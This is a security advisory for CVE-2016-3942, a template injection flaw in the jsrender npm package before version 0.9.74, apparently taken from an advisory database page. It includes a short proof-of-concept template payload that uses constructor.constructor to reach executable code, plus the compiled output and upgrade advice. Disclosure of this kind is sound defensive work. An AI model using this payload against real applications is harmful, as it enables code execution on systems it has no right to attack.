Medium severityGHSA Advisory· Published Sep 1, 2020· Updated Sep 7, 2023
Template Injection in jsrender
CVE-2016-3942
Description
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of
Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
jsrendernpm | < 0.9.74 | 0.9.74 |
Affected products
2- Range: <= 0.9.73
Patches
Vulnerability mechanics
References
5News mentions
0No linked articles in our index yet.